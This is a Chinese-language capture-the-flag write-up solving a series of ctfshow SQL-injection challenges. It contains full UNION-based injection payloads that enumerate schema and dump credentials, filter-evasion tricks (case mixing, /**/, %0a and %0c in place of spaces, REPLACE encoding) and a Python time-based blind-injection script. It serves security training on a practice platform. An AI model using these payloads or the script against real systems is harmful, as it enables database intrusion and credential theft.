解答:打开页面,提供了sql语句源码,是单引号闭合。
这里可以用1' and '1'='1
和1' and '1'='2
测试一下闭合。
1' and '1'='1
正常显示,1' and '1'='2
不正常显示。单引号完全闭合,且不过滤空格,and等。
确定列数,同时确定可回显位置,经过测试列数为3,三个位置均可回显。
1' union select 1,2,3--+
数据库名获取:1' union select 1,database(),3--+
表名获取:1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
列名获取:1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='ctfshow_user' --+
获取信息:1' union select id,username,password from ctfshow_user where username='flag' --+
解答:题目和web171在一起,选择无过滤注入2即可。
这次是两个列:1' union select 1,2--+
获取表名:1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+
ctfshow_user表上题用过了,这次应该是user2。
获取列名:1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user2'--+
获取信息:1' union select id,password from ctfshow_user2--+
password存放了flag。(因为限制了flag输出,所以如果查看username是不能返回想要的信息的。)
解答:依旧有flag输出限制。
列数和回显位置确认:
1' union select 1,2,3--+
获取表名:
1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
获取列名:
1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='ctfshow_user3' --+
因为输出内容有flag会被过滤了,所以直接搜索password即可。
1' union select id,2,password from ctfshow_user3 --+
解答:限制多了,如果输出内容有数字也会被过滤。
使用1' union select 1,2--+
没有回显,因为限制了数字,但是我们可以用字母。
数据库名可以得到,因为没有含有数字。表名含有数字,需要做一下替换。
获取表名:1' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(table_name),'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J') from information_schema.tables where table_schema=database()--+
根据结果可以知道这个表名是ctfshow_user4
获取列名:1' union select 'a',group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user4'--+
获取flag:
1' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J') from ctfshow_user4--+
平时打比赛的时候,可能输出的结果里是flag{}形式的,所以可以再加一个替换把g
换成K
。
1' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'g','K') from ctfshow_user4--+
最后再字符替换一下就可以了,或者自己手动调整都行,也不长。
text="ctfshow{bABIHCeC-Bdea-DIdf-IcGa-CCbBFBDICdEd}"
print(text.replace('A','1').replace('B','2').replace('C','3').replace('D','4').replace('E','5').replace('F','6').replace('G','7').replace('H','8').replace('I','9').replace('J','0').replace('K','g'))
解答:由于限制太多,不能正常显示了,考虑时间盲注。
时间盲注测试:1' and sleep(5)--+
时间盲注脚本:我时间设置的有点长,可以设置成3。
# coding:utf-8
import requests
import datetime
import time
url = "http://2c6f676b-eb53-41c2-b73f-1da9880f8178.challenge.ctf.show/api/v5.php?id=1"
dic = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_,{}!@$^*()-=[]|\\\"';"
#获取名
def get_name(payload_name):
fname = ""
for j in range(1, 50):
for i in dic:
name = payload_name.format(j,i)
payload_url = url+name
time1 = datetime.datetime.now()
r = requests.get(payload_url)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 5:
fname += i
print("name:{}".format(fname))
break
#下面的做出来的,就注释掉
payload_database_name = "' and if(substr(database(),{},1)='{}',sleep(5),1)--+"
get_name(payload_database_name)
#ctfshow_web
payload_table_name = "' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',sleep(5),1)--+"
get_name(payload_table_name)
#ctfshow_user5
payload_column_name = "' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user5'),{},1)='{}',sleep(5),1)--+"
get_name(payload_column_name)
#id,username,password
get_flag = "' and if(substr((select password from ctfshow_user5 where username='flag'),{},1)='{}',sleep(5),1)--+"
get_name(get_flag)
#ctfshow{47497b40-da2d-4f55-a448-5e3d998753c2}
解答:测试 1' and '1'='2
直接union select不成功。(过滤了select)
先尝试大小写绕过,成功
1' uniOn selEct 1,2,3--+
表名ctfshow_user:1' uniOn selEct 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
列名id,username,password:1' uniOn selEct 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='ctfshow_user'--+
获取flag:1' uniOn selEct 1,username,password from ctfshow_user--+
悄悄地说,由于没有limit限制输出,flag是摆在明面上的,往下巴拉一下就看到了。
再测试1' and '1'='1
,不能正常显示应该是有过滤。
1'||'1
可以正常显示,那么应该是过滤了空格或者and。测试1'and'1
没有问题,那就是空格被过滤了。
用/**/
绕过空格过滤
列数和回显位置确认:1'/**/uniOn/**/selEct/**/1,2,3%23
表:ctfshow_user
1'/**/uniOn/**/selEct/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()%23
列:id,username,password
1'/**/uniOn/**/selEct/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name='ctfshow_user'%23
flag:
1'/**/uniOn/**/selEct/**/1,username,password/**/from/**/ctfshow_user%23
解答:用%0a绕过空格过滤。
1'%0auniOn%0aselEct%0a1,2,3%23
1'%0auniOn%0aselEct%0a1,database(),3%23
1'%0auniOn%0aselEct%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()%23
1'%0auniOn%0aselEct%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_schema=database()%0aand%0atable_name='ctfshow_user'%23
1'%0auniOn%0aselEct%0a1,username,password%0afrom%0actfshow_user%23
解答:用%0c绕过空格过滤。
1'%0cuniOn%0cselEct%0c1,2,3%23
1'%0cuniOn%0cselEct%0c1,database(),3%23
1'%0cuniOn%0cselEct%0c1,group_concat(table_name),3%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema=database()%23
1'%0cuniOn%0cselEct%0c1,group_concat(column_name),3%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_schema=database()%0cand%0ctable_name='ctfshow_user'%23
1'%0cuniOn%0cselEct%0c1,username,password%0cfrom%0cctfshow_user%23
解答:过滤了%23,可以再嵌套一个select在union select里,绕过注释符过滤。
-1'%0cuniOn%0cselEct%0c'1','2','3
-1'%0cuniOn%0cselEct%0c'1',database(),'3
-1'%0cuniOn%0cselEct%0c1,(select%0cgroup_concat(table_name)%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema=database()),'3
-1'%0cuniOn%0cselEct%0c1,(select%0cgroup_concat(column_name)%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_schema=database()%0cand%0ctable_name='ctfshow_user'),'3
-1'%0cuniOn%0cselEct%0c1,(select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'),'3
为什么要改成-1呢,因为题目设了限制limit 1
,只显示单行。输入1的话,前面语句会成功执行返回结果,会挤掉我们想要的结果。